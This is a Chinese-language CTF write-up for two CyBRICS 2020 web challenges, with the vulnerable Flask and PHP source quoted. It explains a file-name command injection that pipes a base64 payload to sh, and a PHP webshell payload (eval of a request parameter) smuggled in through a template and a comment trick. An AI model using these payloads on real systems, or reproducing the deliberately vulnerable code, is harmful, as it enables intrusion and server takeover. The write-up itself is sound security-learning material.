[cybrics 2020] web wp
金砖五国CTF?感觉还是个大一点的比赛,看得到其他国家的队伍
全程看题陪跑,比赛还没结束已经开始写wp了呜呜呜呜
Hunt
用到了谷歌的验证码服务没翻墙做不了。。。。是不是该考虑一下充点钱了
Gif2png
给了源码,一个python题
import ...
ALLOWED_EXTENSIONS = {'gif'}
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['SECRET_KEY'] = '********************************'
app.config['MAX_CONTENT_LENGTH'] = 500 * 1024 # 500Kb
ffLaG = "cybrics{********************************}"
Bootstrap(app)
logging.getLogger().setLevel(logging.DEBUG)
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET', 'POST'])
def upload_file():
logging.debug(request.headers)
if request.method == 'POST':
if 'file' not in request.files:
logging.debug('No file part')
flash('No file part', 'danger')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
logging.debug('No selected file')
flash('No selected file', 'danger')
return redirect(request.url)
if not allowed_file(file.filename):
logging.debug(f'Invalid file extension of file: {file.filename}')
flash('Invalid file extension', 'danger')
return redirect(request.url)
if file.content_type != "image/gif":
logging.debug(f'Invalid Content type: {file.content_type}')
flash('Content type is not "image/gif"', 'danger')
return redirect(request.url)
if not bool(re.match("^[a-zA-Z0-9_\-. '\"\=\$\(\)\|]*$", file.filename)) or ".." in file.filename:
logging.debug(f'Invalid symbols in filename: {file.content_type}')
flash('Invalid filename', 'danger')
return redirect(request.url)
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file.save(os.path.join(app.config['UPLOAD_FOLDER'], file.filename))
mime_type = filetype.guess_mime(f'uploads/{file.filename}')
if mime_type != "image/gif":
logging.debug(f'Invalid Mime type: {mime_type}')
flash('Mime type is not "image/gif"', 'danger')
return redirect(request.url)
uid = str(uuid.uuid4())
os.mkdir(f"uploads/{uid}")
logging.debug(f"Created: {uid}. Command: ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"")
command = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"", shell=True)
command.wait(timeout=15)
logging.debug(command.stdout)
flash('Successfully saved', 'success')
return redirect(url_for('result', uid=uid))
return render_template("form.html")
@app.route('/result/<uid>/')
def result(uid):
images = []
for image in os.listdir(f"uploads/{uid}"):
mime_type = filetype.guess(str(Path("uploads") / uid / image))
if image.endswith(".png") and mime_type is not None and mime_type.EXTENSION == "png":
images.append(image)
return render_template("result.html", uid=uid, images=images)
@app.route('/uploads/<uid>/<image>')
def image(uid, image):
logging.debug(request.headers)
dir = str(Path(app.config['UPLOAD_FOLDER']) / uid)
return send_from_directory(dir, image)
@app.errorhandler(413)
def request_entity_too_large(error):
return "File is too large", 413
if __name__ == "__main__":
app.run(host='localhost', port=5000, debug=False, threaded=True)
整体代码不是很长,三个路由,一个处理gif为png,一个展示,最后一个也是展示功能
根路由对上传的文件做了一万次是不是gif的判断,不好绕过的就是mime_type的判断,这个用了filetype这个库去实现,然后还对文件名有一定的限制
最后进一个危险函数subprocess.Popen,使用ffmpeg处理图像,但是filename除了之前的限制完全可控
两个思路,利用ffmpeg的漏洞,或是命令注入
思路一(失败)
查了一下ffmpeg的洞,发现几年前有一个处理AVI视频格式的文件时在字幕文件中插入恶意数据导致ssrf的,如果能行自然能做
但是,这个题对gif的限制很大,为此我还专门去看了一下filetype是怎么判断的(以没看懂告终,然后师傅就做出来了)
思路二(命令注入)
subprocess.Popen显然是一个超级危险函数,并且filename还基本上可控,引号也可有,可以重新闭合一下,但是/;等符号没有,分隔命令指定目录什么的又不行,执行的回显我们也看不到,现在给的符号不足以反弹shell,并且经过测试靶机也访问不了外网(大概),但是师傅使用|超级管道符和或的功能完成了命令注入
trick1
Linux命令行或语句连接一系列命令的时候,比如aaa || ls || bbb
的时候,是从左往右执行执行第一个能执行的命令,并且不再执行之后的命令,这样子就可以把之前的命令随便闭合并且让他不能用,执行我们后面拼接的命令
因此可以使用' || cmd || sleep 10
来测试cmd是否可用,试了一下curl本地好像可以,但是访问不了外网(可能)
trick2
管道符连接命令,面对不能出现的字符,当然是编码绕过他,payload | base64 -d | sh
将payloadbase64编码之后完美绕过限制,管道到base64解码,再管道到sh执行,tql
从源码中可以得到upload目录就在当前目录下,并且肯定可写,而/uploads/<uid>/<image>这个路由刚好可以读取对应内容,所以payload将main.py写进自己UID对应的目录下,用png格式保存就行,然后访问一下就可以看到源码获取flag了
WoC
也是给了源码的题,直接给源码的都是好人啊(不像某些奇怪的比赛喜欢藏源码让你去robots.txt或者www.tar.gz等地方找
给了一个超大的框架,大概就是可以使用不同的计算器图片,然后功能也就是一个计算器。
框架太大了,真的理不清,并且html和PHP嵌套各种require各种操作,太高级了我这个萌新没接触过,试了好久才试出来整个网站大概是怎么运行的
登入登出和数据库毫无关系,就是根据用户名给一个session给一个UUID,感觉不注册也随便登录。。。然后还有几个工具界面,require过来require过去的,还有各种跳转
主要内容集中在calc.php
<?php
if (!@$_SESSION['userid'] || !@$_GET['template']) {
redir(".");
}
$userid = $_SESSION['userid'];
$template = $_GET['template'];
if (!preg_match('#^[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}$#s', $template)) {
redir(".");
}
if (!is_file("calcs/$userid/templates/$template.html")) {
redir(".");
}
if (trim(@$_POST['field'])) {
$field = trim($_POST['field']);
if (!preg_match('#(?=^([ %()*+\-./]+|\d+|M_PI|M_E|log|rand|sqrt|a?(sin|cos|tan)h?)+$)^([^()]*|([^()]*\((?>[^()]+|(?4))*\)[^()]*)*)$#s', $field)) {
$value = "BAD";
} else {
if (@$_POST['share']) {
$calc = uuid();
file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));
redir("?p=sharelink&calc=$calc");
} else {
try {
$value = eval("return $field;");
} catch (Throwable $e) {
$value = null;
}
if (!is_numeric($value) && !is_string($value)) {
$value = "ERROR";
} else {
$value = (string)$value;
}
}
}
echo "<script>var preloadValue = " . json_encode($value) . ";</script>";
}
require "inc/calclib.html";
require "calcs/$userid/templates/$template.html";
field就是要计算的数据,有一个超级正则表达式,不仅完全看不懂,放到正则可视化里面还报错,呜呜呜
能看懂的就是允许+-*/几个运算符号,然后还有sin cos几个数学函数,但是要什么开头什么结尾的,完全看不懂。。
如果能过这个超级正则就可以进入到eval里面,但是我真的看不懂啊呜呜呜,既然上了一个超级正则,那么可攻击的点应该就不是这
然后我们看到如果post的了一个share,会调用另一个危险函数file_put_contents,其将我们现在的算式filed存起来,并且拼接现有的计算器模板生成一个PHP文件,而又存在一个newtemplate.php可供我们自己操作,生成可控的模板,既然是生成PHP文件,自然就有很大的操作空间,比如getshell什么的
newtemplate.php
<?php
if (!@$_SESSION['userid']) {
redir(".");
}
$userid = $_SESSION['userid'];
$error = false;
if (trim(@$_POST['html'])) {
do {
$html = trim($_POST['html']);
if (strpos($html, '<?') !== false) {
$error = "Bad chars";
break;
}
$requiredBlocks = [
'id="back"',
'id="field" name="field"',
'id="digit0"',
'id="digit1"',
'id="digit2"',
'id="digit3"',
'id="digit4"',
'id="digit5"',
'id="digit6"',
'id="digit7"',
'id="digit8"',
'id="digit9"',
'id="plus"',
'id="equals"',
];
foreach ($requiredBlocks as $block) {
if (strpos($html, $block) === false) {
$error = "Missing required block: '$block'";
break(2);
}
}
$uuid = uuid();
if (!file_put_contents("calcs/$userid/templates/$uuid.html", $html)) {
$error = "Unexpected error! Contact orgs to fix. cybrics.net/rules#contacts";
break;
}
redir(".");
} while (false);
}
?>
没啥太多功能,就是写一个随机文件名的html,但是文件名会在inside.php里面回显出来,不必担心,写入的唯一限制就是不能出现<?标签,这样子的话就没法构造PHP文件了,但是看回这一句
file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));
这里在最开始写入了一句<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n
并且field虽然有一个超级正则但勉强可控,而它为我们提供了一个标签<?=,如果我们能够把这个标签保留下来,在后面自己创建的模板中就可以为所欲为了
而很有意思的是,/*这两个符号一个是除号一个是乘号,虽然我也不知道这个超级正则怎么允许两个运算符连起来,但是的确这个注释符是可以过正则的,那么我们就注释掉了题目限制的闭合,后面拼接上我们带有shell的html就可以了
payload
在newtemplate.php中新建一个内容为
*/ eval($_REQUEST['a']); ?>
'id="back"',
'id="field" name="field"',
'id="digit0"',
'id="digit1"',
'id="digit2"',
'id="digit3"',
'id="digit4"',
'id="digit5"',
'id="digit6"',
'id="digit7"',
'id="digit8"',
'id="digit9"',
'id="plus"',
'id="equals"',
的html文档,然后在calc.php中post一个share,令field为/*,会回显写入PHP文件的路径,访问执行命令即可getshell